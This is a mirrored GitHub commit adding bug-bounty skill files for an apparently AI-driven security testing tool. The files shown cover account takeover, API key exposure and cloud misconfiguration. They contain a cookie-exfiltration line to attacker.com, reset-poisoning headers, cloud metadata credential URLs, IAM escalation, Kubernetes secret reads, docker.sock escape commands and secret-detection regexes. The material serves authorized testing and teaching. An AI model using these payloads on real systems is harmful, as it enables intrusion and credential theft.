mirror of
https://github.com/usestrix/strix.git
synced 2026-09-22 00:31:25 +00:00
Add comprehensive web vulnerability skills for bug bounty hunting
Added 27 new vulnerability/technique files covering the full web security landscape: - command_injection, xpath_injection, ssi_injection, smtp_injection - saml_attacks, graphql_attacks, grpc_testing, oidc_attacks - web_cache_deception, http_parameter_pollution, http2_vulnerabilities - dom_clobbering, postmessage_attacks, prototype_pollution_advanced - type_juggling, regex_dos, csv_formula_injection, log_injection - security_headers, tls_ssl_misconfig, session_management - account_takeover, insecure_deserialization_advanced, idor_advanced - s3_bucket_misconfig, cloud_misconfig, api_key_exposure, web_recon Each file includes attack surface, key vulnerabilities, bypass techniques, testing methodology, validation steps, and pro tips for bug bounty hunters. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
parent
5a90192f2c
commit
e34bb66e08
27 changed files with 5965 additions and 0 deletions
243
strix/skills/vulnerabilities/account_takeover.md
Normal file
243
strix/skills/vulnerabilities/account_takeover.md
Normal file
|
|
@ -0,0 +1,243 @@
|
|||
---
|
||||
name: account-takeover
|
||||
description: Account takeover techniques combining auth flaws, token abuse, and multi-step attack chains
|
||||
---
|
||||
|
||||
# Account Takeover (ATO)
|
||||
|
||||
Account takeover chains multiple vulnerabilities to gain persistent access to another user's account. Standalone bugs (weak reset tokens, XSS, IDOR in email-change) often only achieve ATO when combined. Understanding the full ATO chain is what separates high-severity reports from informational findings.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Primary Vectors**
|
||||
- Password reset flows (token leakage, guessable tokens, host header injection)
|
||||
- Email/username change flows (missing re-auth, IDOR)
|
||||
- OAuth/SSO flows (redirect_uri bypass, state fixation, token leakage)
|
||||
- Session management (fixation, weak tokens, no expiry)
|
||||
- Credential-based (brute force, credential stuffing, password spraying)
|
||||
- XSS → session/token exfiltration
|
||||
- MFA bypass (token reuse, race conditions, backup codes)
|
||||
- IDOR on account settings
|
||||
|
||||
## Attack Chains
|
||||
|
||||
### Password Reset Poisoning (Host Header)
|
||||
|
||||
```
|
||||
POST /forgot-password
|
||||
Host: attacker.com ← injected
|
||||
|
||||
# Server generates: https://attacker.com/reset?token=SECRET_TOKEN
|
||||
# Sends email to victim with attacker's domain
|
||||
# Victim clicks → attacker receives token → ATO
|
||||
```
|
||||
|
||||
Variants:
|
||||
```
|
||||
Host: legit.com
|
||||
X-Forwarded-Host: attacker.com ← some apps use this for URL construction
|
||||
|
||||
Host: legit.com:@attacker.com ← credential confusion
|
||||
Host: legit.com@attacker.com
|
||||
```
|
||||
|
||||
### Password Reset Token Leakage
|
||||
|
||||
**Referer header leakage**
|
||||
```
|
||||
Reset link: https://app.com/reset?token=SECRET
|
||||
User clicks link, page has third-party scripts
|
||||
Referer: https://app.com/reset?token=SECRET sent to third party
|
||||
```
|
||||
|
||||
**Frontend logging**
|
||||
```javascript
|
||||
// Token visible in browser history, analytics, error logs
|
||||
window.analytics.track('page_view', {url: window.location.href});
|
||||
// If reset page URL contains token → token in analytics
|
||||
```
|
||||
|
||||
**Predictable tokens**
|
||||
```
|
||||
# Sequential: token=1337, token=1338
|
||||
# Timestamp-based: token=1620000000
|
||||
# PRNG without proper seeding: guessable from known outputs
|
||||
```
|
||||
|
||||
### Email Change Without Re-authentication
|
||||
|
||||
```
|
||||
# Attacker controls victim session (via XSS or stolen cookie)
|
||||
# Or: CSRF on email-change endpoint
|
||||
POST /account/email
|
||||
new_email=attacker@evil.com
|
||||
# No password confirmation required → ATO via new email → password reset
|
||||
```
|
||||
|
||||
### Email Change IDOR
|
||||
|
||||
```
|
||||
POST /account/email
|
||||
{"user_id": VICTIM_ID, "email": "attacker@evil.com"}
|
||||
# Missing authorization check → change any user's email
|
||||
```
|
||||
|
||||
### Username/Email Enumeration + Credential Stuffing
|
||||
|
||||
```
|
||||
# Enumerate valid accounts via timing or error differences
|
||||
POST /login: "User not found" vs "Invalid password" → confirms account existence
|
||||
POST /reset: "Email sent" vs "Email not registered"
|
||||
|
||||
# Credential stuffing: use leaked DB credentials
|
||||
# Password spraying: common passwords against enumerated accounts
|
||||
```
|
||||
|
||||
### OAuth Token Leakage
|
||||
|
||||
```
|
||||
# state parameter not validated
|
||||
# redirect_uri bypass:
|
||||
/oauth/authorize?redirect_uri=https://app.com/callback/../../../logout
|
||||
/oauth/authorize?redirect_uri=https://app.com.attacker.com/callback
|
||||
/oauth/authorize?redirect_uri=https://app.com/callback%20https://attacker.com
|
||||
|
||||
# Token in Referer:
|
||||
https://app.com/callback?code=AUTH_CODE
|
||||
User clicks link to external site → Referer leaks code
|
||||
```
|
||||
|
||||
### Session Fixation
|
||||
|
||||
```
|
||||
# 1. Attacker gets a pre-auth session: GET /login → Set-Cookie: session=FIXED_VALUE
|
||||
# 2. Attacker forces victim to use this session ID (via XSS, direct link with cookie)
|
||||
# 3. Victim logs in → session elevated to authenticated
|
||||
# 4. Attacker uses FIXED_VALUE session → accesses victim account
|
||||
```
|
||||
|
||||
### XSS → ATO Chain
|
||||
|
||||
```javascript
|
||||
// 1. Find stored/reflected XSS
|
||||
// 2. Exfiltrate session cookie:
|
||||
fetch('//attacker.com/?c=' + document.cookie)
|
||||
// 3. Or steal CSRF token and change email:
|
||||
fetch('/account/email', {
|
||||
method: 'POST',
|
||||
headers: {'X-CSRF-Token': document.querySelector('[name=csrf]').value},
|
||||
body: 'email=attacker@evil.com'
|
||||
})
|
||||
// 4. Use stolen session or new email for password reset
|
||||
```
|
||||
|
||||
### 2FA/MFA Bypass for ATO
|
||||
|
||||
```
|
||||
# OTP brute force (if no rate limiting)
|
||||
# OTP reuse (if no single-use enforcement)
|
||||
# Response manipulation: {"mfa_required": false}
|
||||
# Skip MFA step: jump directly to /dashboard after /login (before /mfa)
|
||||
# Backup code abuse: generate/steal backup codes
|
||||
# SIM swap / SMS hijacking (social engineering telecom)
|
||||
```
|
||||
|
||||
### Account Pre-hijacking
|
||||
|
||||
Before victim creates account:
|
||||
```
|
||||
# 1. Register with victim's email (social account merge attack)
|
||||
# - If victim later logs in via OAuth with same email, may merge with attacker account
|
||||
# 2. Unexpired reset token: request reset for victim's email before they register
|
||||
# 3. Classic pre-hijack: register account, attacker sets password, victim "registers" via SSO
|
||||
```
|
||||
|
||||
### Support/Admin ATO
|
||||
|
||||
```
|
||||
# Social engineering support to change email
|
||||
# Impersonating victim via email spoofing to support team
|
||||
# IDV (identity verification) bypass via public info (DOB, last 4 SSN)
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Token Validation Bypass**
|
||||
```
|
||||
# Submit token with extra padding
|
||||
token=VALID_TOKEN%00
|
||||
token=VALID_TOKEN%20
|
||||
|
||||
# Case insensitive comparison
|
||||
token=VALID_TOKEN → VALID_token
|
||||
|
||||
# Partial matching
|
||||
token=VALID (if only first N chars checked)
|
||||
```
|
||||
|
||||
**Rate Limit Bypass for OTP Brute Force**
|
||||
```
|
||||
# IP rotation
|
||||
# X-Forwarded-For: [changing IPs]
|
||||
# Parallel requests (race condition)
|
||||
# Try all OTPs in one request if batching possible
|
||||
```
|
||||
|
||||
**Email Normalization Bypass**
|
||||
|
||||
```
|
||||
# App stores attacker+tag@gmail.com
|
||||
# Victim uses attacker@gmail.com
|
||||
# Some apps normalize → same account
|
||||
victim@gmail.com vs victim+anything@gmail.com
|
||||
victim@GMAIL.COM vs victim@gmail.com
|
||||
victim@googlemail.com vs victim@gmail.com
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Map auth flows** — Login, register, reset, email-change, OAuth, MFA, account merge
|
||||
2. **Test reset token** — Entropy, expiry, single-use, host header injection, Referer leakage
|
||||
3. **Test email change** — Re-auth required? IDOR? CSRF protected?
|
||||
4. **Test session management** — Fixation, expiry after logout, token predictability
|
||||
5. **Test OAuth** — state validation, redirect_uri variations, token in URL
|
||||
6. **Test MFA** — Rate limits on OTP, reuse, response manipulation
|
||||
7. **Enumerate accounts** — Error messages, timing, side channels
|
||||
8. **Check pre-hijacking** — Register with victim email before they do
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate login as victim account without knowing their password
|
||||
2. Show which specific vulnerability was exploited in the chain
|
||||
3. Provide step-by-step reproduction with victim account credentials/data visible
|
||||
4. Show minimal-scope impact (profile data visible) without accessing sensitive personal info unnecessarily
|
||||
|
||||
## False Positives
|
||||
|
||||
- Token leakage to first-party analytics only
|
||||
- Rate limiting prevents brute force
|
||||
- Email change requires current password confirmation
|
||||
- Reset token bound to IP/User-Agent
|
||||
- OTP has proper single-use and expiry enforcement
|
||||
|
||||
## Impact
|
||||
|
||||
- Full account takeover → access to all user data
|
||||
- Privilege escalation if admin account targeted
|
||||
- Financial loss if payment methods accessible
|
||||
- Regulatory impact (GDPR) via PII exposure
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always escalate from info-gathering to actual account access to maximize report severity
|
||||
2. Password reset poisoning requires the victim to click the link — add social engineering context
|
||||
3. Pre-hijacking attacks require registering before victim — test on beta/new signup flows
|
||||
4. Combine email-change IDOR + password reset = ATO without needing session
|
||||
5. OAuth `state` parameter missing is usually an ATO — build the chain to show it
|
||||
6. Check password reset tokens from old emails (support accounts often have expired tokens stored)
|
||||
7. Email normalization attacks work best on large providers (Gmail, Outlook)
|
||||
8. Response manipulation for MFA (`success: true`) is often the fastest bypass
|
||||
|
||||
## Summary
|
||||
|
||||
ATO is about chaining weak primitives into full access. Any single auth weakness is a stepping stone: enumerate → take over email/username → trigger reset → access account. Focus on the chain, not individual bugs, and demonstrate the final access to maximize impact.
|
||||
229
strix/skills/vulnerabilities/api_key_exposure.md
Normal file
229
strix/skills/vulnerabilities/api_key_exposure.md
Normal file
|
|
@ -0,0 +1,229 @@
|
|||
---
|
||||
name: api-key-exposure
|
||||
description: API key and secret exposure detection — finding leaked credentials in JS, repos, responses, and cloud metadata
|
||||
---
|
||||
|
||||
# API Key / Secret Exposure
|
||||
|
||||
API keys, tokens, and secrets found in client-side code, public repositories, error messages, or misconfigured cloud services represent immediate, high-severity findings in bug bounty. The impact depends on what the key controls — AWS keys can mean full account compromise.
|
||||
|
||||
## Where Secrets Hide
|
||||
|
||||
### JavaScript Files
|
||||
|
||||
```javascript
|
||||
// Hardcoded in source:
|
||||
const API_KEY = "sk-ant-api03-xxxxx";
|
||||
var config = { apiKey: "AIzaSyXXXXXXXXXXX" };
|
||||
window._env = { STRIPE_KEY: "pk_live_XXXXX" };
|
||||
axios.defaults.headers['Authorization'] = 'Bearer eyJXXXX';
|
||||
|
||||
// In minified JS: search for patterns
|
||||
// In source maps (.js.map): original source with comments
|
||||
```
|
||||
|
||||
### Git Repositories
|
||||
|
||||
```bash
|
||||
# In current code
|
||||
grep -r "api_key\|apikey\|secret\|password\|token\|bearer" --include="*.js,*.py,*.env,*.json"
|
||||
|
||||
# In git history (deleted files still in history)
|
||||
git log --all --full-history -- "*.env"
|
||||
git show COMMIT_HASH:path/to/file
|
||||
truffleHog --regex --entropy=True /path/to/repo
|
||||
gitleaks detect --source . --verbose
|
||||
```
|
||||
|
||||
### Configuration Files Exposed on Web
|
||||
|
||||
```
|
||||
# Common paths to check:
|
||||
/.env
|
||||
/.env.local
|
||||
/.env.production
|
||||
/.env.backup
|
||||
/config.php
|
||||
/config.yml
|
||||
/config.json
|
||||
/appsettings.json
|
||||
/web.config
|
||||
/application.properties
|
||||
/application.yml
|
||||
/docker-compose.yml
|
||||
/Dockerfile
|
||||
/.aws/credentials
|
||||
/.ssh/id_rsa
|
||||
/wp-config.php
|
||||
/wp-config.php.bak
|
||||
/settings.py
|
||||
/local_settings.py
|
||||
/database.yml
|
||||
/secrets.yml
|
||||
```
|
||||
|
||||
### HTTP Responses
|
||||
|
||||
```
|
||||
# Error responses leaking env vars or config:
|
||||
HTTP 500: {"error": "...", "env": {"DATABASE_URL": "postgres://user:pass@host/db"}}
|
||||
|
||||
# Debug mode enabled:
|
||||
Django debug=True → full settings in error page
|
||||
Laravel APP_DEBUG=true → stack trace with env vars
|
||||
|
||||
# API responses:
|
||||
{"user": {"stripe_secret_key": "sk_live_XXXX"}} # Accidental field inclusion
|
||||
X-Debug-Token response header → Symfony profiler
|
||||
|
||||
# OAuth token in response body when should be code-only
|
||||
# JWT payload containing internal config
|
||||
```
|
||||
|
||||
### Cloud Metadata Services
|
||||
|
||||
```bash
|
||||
# AWS IMDS (from SSRF or compromised server)
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
|
||||
→ AccessKeyId, SecretAccessKey, Token
|
||||
|
||||
# GCP
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
→ Bearer token for GCP APIs
|
||||
|
||||
# Azure
|
||||
http://169.254.169.254/metadata/identity/oauth2/token
|
||||
→ MSI token
|
||||
|
||||
# Kubernetes secrets
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
```
|
||||
|
||||
### Browser Storage
|
||||
|
||||
```javascript
|
||||
// Check in DevTools console:
|
||||
localStorage.getItem('token')
|
||||
sessionStorage.getItem('apiKey')
|
||||
document.cookie // Auth cookies
|
||||
indexedDB // May contain cached credentials
|
||||
```
|
||||
|
||||
## High-Value Key Types
|
||||
|
||||
| Key Pattern | Service | Impact |
|
||||
|-------------|---------|--------|
|
||||
| `AKIA[A-Z0-9]{16}` | AWS Access Key | Full AWS account access |
|
||||
| `sk-ant-api03-` | Anthropic | LLM API access, billing |
|
||||
| `sk-[a-zA-Z0-9]{48}` | OpenAI | AI API, billing |
|
||||
| `AIzaSy[0-9A-Za-z-_]{33}` | Google API | Maps, GCP, Firebase |
|
||||
| `gh[pousr]_[A-Za-z0-9_]{36,}` | GitHub | Repository access, org |
|
||||
| `glpat-[0-9a-zA-Z-]{20}` | GitLab | Code, CI/CD |
|
||||
| `sk_live_[0-9a-zA-Z]{24}` | Stripe | Payment processing |
|
||||
| `rk_live_[0-9a-zA-Z]{24}` | Stripe Restricted | Limited payment access |
|
||||
| `SG\.[a-zA-Z0-9]{22}\.[a-zA-Z0-9]{43}` | SendGrid | Email sending |
|
||||
| `xoxb-[0-9]{11}-[0-9]{11}-[a-zA-Z0-9]{24}` | Slack Bot | Slack workspace access |
|
||||
| `[0-9]{15,16}:[a-zA-Z0-9_-]{35}` | Telegram Bot | Bot control |
|
||||
| `EAACEdEose0cBA[0-9A-Za-z]+` | Facebook | FB/Instagram access |
|
||||
| `[A-Za-z0-9]{8}-[A-Za-z0-9]{4}-[A-Za-z0-9]{4}` | Various UUIDs | Context-dependent |
|
||||
|
||||
## Verification (Without Causing Harm)
|
||||
|
||||
```bash
|
||||
# AWS key - check identity only (read-only, no damage)
|
||||
aws sts get-caller-identity --access-key-id AKIAXXXX --secret-access-key XXXX
|
||||
# Shows: Account, UserId, ARN → proves validity
|
||||
|
||||
# GitHub token
|
||||
curl -H "Authorization: token ghp_XXXX" https://api.github.com/user
|
||||
# Shows: username, email, org memberships
|
||||
|
||||
# Stripe key (test mode only)
|
||||
curl https://api.stripe.com/v1/balance -u sk_test_XXXX:
|
||||
# Shows: available balance → proves validity
|
||||
|
||||
# Google API key
|
||||
curl "https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=TOKEN"
|
||||
|
||||
# Slack token
|
||||
curl -H "Authorization: Bearer xoxb-XXXX" https://slack.com/api/auth.test
|
||||
```
|
||||
|
||||
**IMPORTANT**: Verify existence and scope only — do NOT:
|
||||
- Make purchases, send emails, or take actions
|
||||
- Access production data beyond what proves the key works
|
||||
- Use keys to access systems beyond demonstrating the finding
|
||||
|
||||
## OSINT / Automated Secret Scanning
|
||||
|
||||
```bash
|
||||
# TruffleHog (supports many sources)
|
||||
trufflehog git https://github.com/target/repo
|
||||
trufflehog github --org targetorg --token GITHUB_TOKEN
|
||||
trufflehog s3 --bucket target-bucket
|
||||
|
||||
# Gitleaks
|
||||
gitleaks detect --source /path/to/repo -v
|
||||
gitleaks detect --source /path/to/repo --report-path leaks.json
|
||||
|
||||
# Git-secrets
|
||||
git secrets --scan
|
||||
|
||||
# GitHub Advanced Search (manual)
|
||||
# site:github.com "target.com" "api_key"
|
||||
# site:github.com "target.com" "password"
|
||||
# Push protection alerts in target's public repos
|
||||
|
||||
# Google Dorks
|
||||
site:github.com "target.com" password
|
||||
site:gitlab.com "target.com" secret_key
|
||||
site:pastebin.com "target.com" api
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Spider all JS files** — katana/gospider → grep for key patterns
|
||||
2. **Check common config paths** — ffuf with config-file wordlist
|
||||
3. **Analyze git history** — Clone public repos, run truffleHog
|
||||
4. **Test error responses** — Trigger 500 errors, check for env leakage
|
||||
5. **Check localStorage/cookies** — DevTools inspection
|
||||
6. **SSRF to metadata** — If SSRF exists, fetch cloud metadata
|
||||
7. **Source maps** — Check for `.js.map` files with original commented source
|
||||
8. **Third-party integrations** — Check requests to analytics, CDN, payment with exposed keys
|
||||
|
||||
## Validation
|
||||
|
||||
1. Identify the exact location where the key was found (URL, file, commit hash)
|
||||
2. Verify the key is valid using a read-only API call (as above)
|
||||
3. Determine the scope/permissions of the key
|
||||
4. Document the potential impact (what the attacker could do with it)
|
||||
5. Report and recommend immediate rotation
|
||||
|
||||
## False Positives
|
||||
|
||||
- Test/sandbox keys (not production) — verify environment
|
||||
- Already-rotated keys (verify they're invalid before reporting)
|
||||
- Public keys (asymmetric crypto) — not secret by design
|
||||
- API keys for public/free-tier services with no sensitive access
|
||||
|
||||
## Impact
|
||||
|
||||
- AWS keys: full account compromise, data theft, cryptomining, denial of service
|
||||
- Payment keys: financial fraud, customer data theft
|
||||
- OAuth tokens: impersonation, account access across integrated services
|
||||
- CI/CD tokens: supply chain compromise, code modification
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. AWS key finding = automatic critical if it has any IAM permissions — test with `sts:GetCallerIdentity` first
|
||||
2. Source maps (`.js.map`) are the best-kept secret for exposed source code — always check
|
||||
3. GitHub secret scanning for public repos is automated — focus on private repos and git history
|
||||
4. `Authorization: Bearer` tokens in XHR requests during normal browsing are often JWTs — decode them
|
||||
5. Check all third-party script domains in network tab — keys passed as URL params to analytics
|
||||
6. `.env` exposure + RCE = double report or combine for critical severity
|
||||
7. Commit history is permanent until force-pushed — old deleted secrets may still be there
|
||||
8. Many companies have bug bounty bonuses for CI/CD or cloud key findings
|
||||
|
||||
## Summary
|
||||
|
||||
Secret exposure is often the highest-impact finding relative to effort. Scan JS files, check common config paths, mine git history, and verify before reporting. Rotate immediately on confirmation — the window between discovery and exploitation can be minutes.
|
||||
295
strix/skills/vulnerabilities/cloud_misconfig.md
Normal file
295
strix/skills/vulnerabilities/cloud_misconfig.md
Normal file
|
|
@ -0,0 +1,295 @@
|
|||
---
|
||||
name: cloud-misconfig
|
||||
description: Cloud misconfiguration testing — IAM privilege escalation, exposed metadata, CI/CD secrets, and container security
|
||||
---
|
||||
|
||||
# Cloud Misconfiguration
|
||||
|
||||
Cloud environments present a distinct attack surface from traditional web vulnerabilities. Misconfigured IAM policies, exposed metadata services, insecure CI/CD pipelines, and container escape paths can give attackers access to an entire cloud account. This complements the s3_bucket_misconfig.md skill.
|
||||
|
||||
## AWS Misconfigurations
|
||||
|
||||
### IMDSv1 Exposure via SSRF
|
||||
|
||||
```bash
|
||||
# If SSRF exists on EC2/ECS-hosted app:
|
||||
http://169.254.169.254/latest/meta-data/
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
|
||||
# Returns: AccessKeyId, SecretAccessKey, Token (temporary)
|
||||
|
||||
# User data (often contains secrets):
|
||||
http://169.254.169.254/latest/user-data
|
||||
|
||||
# ECS task credentials:
|
||||
http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
|
||||
```
|
||||
|
||||
### IAM Privilege Escalation Paths
|
||||
|
||||
```bash
|
||||
# Check permissions:
|
||||
aws iam get-user
|
||||
aws iam list-attached-user-policies --user-name USERNAME
|
||||
aws iam get-policy-version --policy-arn ARN --version-id v1
|
||||
|
||||
# Escalation via Lambda:
|
||||
# If you have lambda:UpdateFunctionCode → overwrite existing Lambda function
|
||||
aws lambda update-function-code --function-name TARGET_FUNCTION \
|
||||
--zip-file fileb://evil-lambda.zip
|
||||
|
||||
# Escalation via EC2:
|
||||
# If you have ec2:RunInstances + iam:PassRole → run EC2 with privileged role
|
||||
aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
|
||||
--iam-instance-profile Name=ADMIN_ROLE --user-data file://steal-keys.sh
|
||||
|
||||
# Escalation via CodeBuild:
|
||||
# codebuild:StartBuild + iam:PassRole → build job with elevated role
|
||||
|
||||
# Read secrets from SSM:
|
||||
aws ssm get-parameter --name /prod/db/password --with-decryption
|
||||
aws ssm get-parameters-by-path --path /prod/ --with-decryption --recursive
|
||||
|
||||
# Read Secrets Manager:
|
||||
aws secretsmanager list-secrets
|
||||
aws secretsmanager get-secret-value --secret-id prod/api-keys
|
||||
```
|
||||
|
||||
### Public Lambda Functions / API Gateway
|
||||
|
||||
```bash
|
||||
# Find exposed Lambda function URLs:
|
||||
curl https://XXXXXXXX.lambda-url.us-east-1.on.aws/
|
||||
|
||||
# API Gateway endpoints:
|
||||
# Check Swagger/OpenAPI exposed at /swagger, /api-docs
|
||||
# x-amazon-apigateway-auth: NONE = no auth required
|
||||
|
||||
# Lambda environment variables (from SSRF to metadata):
|
||||
http://169.254.169.254/latest/meta-data/...
|
||||
# Then use credentials to read Lambda env vars:
|
||||
aws lambda get-function-configuration --function-name FUNCTION_NAME
|
||||
```
|
||||
|
||||
### CloudFormation / Terraform Exposure
|
||||
|
||||
```bash
|
||||
# CloudFormation stacks may contain secrets in Parameters/Outputs:
|
||||
aws cloudformation describe-stacks
|
||||
aws cloudformation get-template --stack-name STACK_NAME
|
||||
|
||||
# Terraform state files (often in S3):
|
||||
s3://target-terraform/terraform.tfstate
|
||||
# Contains: resource configs, sometimes plaintext secrets, database URLs
|
||||
|
||||
# Check for public Terraform state:
|
||||
aws s3 ls s3://target-terraform/ --no-sign-request
|
||||
aws s3 cp s3://target-terraform/terraform.tfstate /tmp/ --no-sign-request
|
||||
```
|
||||
|
||||
## GCP Misconfigurations
|
||||
|
||||
### Metadata Service (SSRF)
|
||||
|
||||
```bash
|
||||
# From SSRF on GCP:
|
||||
http://metadata.google.internal/computeMetadata/v1/
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
http://metadata.google.internal/computeMetadata/v1/project/project-id
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env # GKE
|
||||
# Header required: Metadata-Flavor: Google
|
||||
```
|
||||
|
||||
### GCP IAM Misconfiguration
|
||||
|
||||
```bash
|
||||
# Overly permissive service account:
|
||||
# roles/editor or roles/owner on default service account
|
||||
|
||||
# Check SA permissions:
|
||||
gcloud iam service-accounts list
|
||||
gcloud projects get-iam-policy PROJECT_ID
|
||||
|
||||
# Workload Identity misconfiguration → any pod can impersonate SA
|
||||
# Check: metadata.google.internal accessible from all pods
|
||||
```
|
||||
|
||||
## Azure Misconfigurations
|
||||
|
||||
### IMDS and MSI
|
||||
|
||||
```bash
|
||||
# From SSRF on Azure:
|
||||
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
||||
# Header: Metadata: true
|
||||
|
||||
# MSI token:
|
||||
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
|
||||
|
||||
# Use token to access Azure management API:
|
||||
curl -H "Authorization: Bearer TOKEN" \
|
||||
https://management.azure.com/subscriptions?api-version=2020-01-01
|
||||
```
|
||||
|
||||
### Azure Storage SAS Token Abuse
|
||||
|
||||
```bash
|
||||
# SAS (Shared Access Signature) tokens in URLs:
|
||||
https://account.blob.core.windows.net/container/file?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupitfx&se=2024-12-31...
|
||||
|
||||
# If SAS token leaked (in JS, logs, error messages):
|
||||
# Use it to access/modify storage beyond intended scope
|
||||
# Test: can SAS token access other containers? Other operations?
|
||||
|
||||
# Overly permissive SAS: sp=rwdlacupitfx = all permissions including write/delete
|
||||
```
|
||||
|
||||
## Kubernetes Misconfigurations
|
||||
|
||||
### Service Account Token Abuse
|
||||
|
||||
```bash
|
||||
# Default token mounted at:
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
|
||||
# From SSRF or container access:
|
||||
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
|
||||
|
||||
# List all pods:
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
https://kubernetes.default.svc/api/v1/pods
|
||||
|
||||
# Read secrets:
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
https://kubernetes.default.svc/api/v1/namespaces/kube-system/secrets
|
||||
```
|
||||
|
||||
### RBAC Misconfigurations
|
||||
|
||||
```bash
|
||||
# Dangerous cluster roles:
|
||||
# system:masters group members → cluster admin
|
||||
# wildcard verbs: ["*"] or resources: ["*"]
|
||||
# get secrets → can read all secrets in namespace
|
||||
|
||||
# Check your permissions:
|
||||
kubectl auth can-i --list
|
||||
kubectl auth can-i get secrets --namespace kube-system
|
||||
kubectl auth can-i create pods
|
||||
```
|
||||
|
||||
### Exposed Kubernetes Dashboard / API
|
||||
|
||||
```bash
|
||||
# Exposed dashboard:
|
||||
https://k8s-dashboard.target.com
|
||||
http://target.com:8001 # kubectl proxy
|
||||
|
||||
# Exposed API server:
|
||||
https://target.com:6443 # Direct API
|
||||
# Test: curl https://target.com:6443/api/v1/namespaces --insecure
|
||||
|
||||
# Kubelet on 10255 (read-only, deprecated):
|
||||
http://node-ip:10255/pods
|
||||
http://node-ip:10255/runningpods
|
||||
|
||||
# Kubelet on 10250 (authenticated):
|
||||
https://node-ip:10250/exec/namespace/pod/container
|
||||
```
|
||||
|
||||
## CI/CD Misconfiguration
|
||||
|
||||
### GitHub Actions Secrets
|
||||
|
||||
```yaml
|
||||
# Secrets in env vars:
|
||||
env:
|
||||
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
|
||||
|
||||
# Can be leaked via:
|
||||
# Logging: echo "key=${{ secrets.SECRET }}"
|
||||
# Artifact upload containing env vars
|
||||
# Debug mode: ACTIONS_STEP_DEBUG=true logs all env vars
|
||||
# If PR from fork can access secrets (misconfigured trigger)
|
||||
```
|
||||
|
||||
### GitLab CI Exposed Variables
|
||||
|
||||
```bash
|
||||
# Unmasked variables in job logs
|
||||
# Variables accessible to fork/external pipelines
|
||||
# artifact: expose secrets in downloadable artifacts
|
||||
|
||||
# Check: does the pipeline run for external MRs?
|
||||
# Protected variables: only run on protected branches
|
||||
```
|
||||
|
||||
### Jenkins Misconfiguration
|
||||
|
||||
```bash
|
||||
# Script console (RCE if accessible):
|
||||
https://jenkins.target.com/script
|
||||
# POST: script=println "id".execute().text
|
||||
|
||||
# Credentials endpoint:
|
||||
https://jenkins.target.com/credentials/
|
||||
https://jenkins.target.com/credential-store/
|
||||
|
||||
# API with anon access:
|
||||
https://jenkins.target.com/api/json
|
||||
https://jenkins.target.com/job/JOB_NAME/api/json
|
||||
```
|
||||
|
||||
## Container Escape Paths
|
||||
|
||||
```bash
|
||||
# Privileged container:
|
||||
docker run --privileged → mount host filesystem
|
||||
# Escape: mount host disk and write to /etc/cron.d
|
||||
|
||||
# hostPath volume mounted:
|
||||
# If /host is mounted → access host filesystem
|
||||
ls /host/etc/passwd
|
||||
|
||||
# docker.sock mounted:
|
||||
# /var/run/docker.sock → create privileged container on host
|
||||
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
|
||||
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create \
|
||||
-d '{"Image":"ubuntu","Binds":["/:/host"],"Privileged":true}'
|
||||
|
||||
# CAP_SYS_ADMIN:
|
||||
# Mount host filesystem via cgroups notification_on_release
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **SSRF → Metadata** — Always try cloud metadata endpoints when SSRF found
|
||||
2. **Leaked credentials** — Check JS, config files, git history for cloud credentials
|
||||
3. **IAM permission enumeration** — With any AWS key, enumerate all permissions
|
||||
4. **Storage enumeration** — S3/GCS/Azure blob scanning
|
||||
5. **Kubernetes** — SA token abuse, RBAC review, exposed APIs
|
||||
6. **CI/CD** — Check pipeline configs for secret exposure, external PR access
|
||||
7. **Container** — Check if running privileged, docker.sock mounted, hostPath
|
||||
|
||||
## Validation
|
||||
|
||||
1. For SSRF → metadata: show the IAM credentials returned
|
||||
2. For IAM escalation: show the escalation path and resulting access level
|
||||
3. For exposed storage: list bucket contents or download non-sensitive file
|
||||
4. Use `sts:GetCallerIdentity` to confirm AWS credential scope
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. IMDSv2 requires a PUT request for token — check if SSRF can make PUT requests
|
||||
2. AWS credentials from metadata are temporary (STS) — they expire in 6h
|
||||
3. `pacu` is AWS exploitation framework for post-IAM-access exploitation
|
||||
4. Terraform state in S3 is the most common cloud secret leakage vector
|
||||
5. `enumerate-iam` automates AWS permission enumeration from compromised credentials
|
||||
6. Check `iam:PassRole` — it's the most common privilege escalation primitive in AWS
|
||||
7. Kubernetes default service account often has excessive permissions in managed clusters
|
||||
|
||||
## Summary
|
||||
|
||||
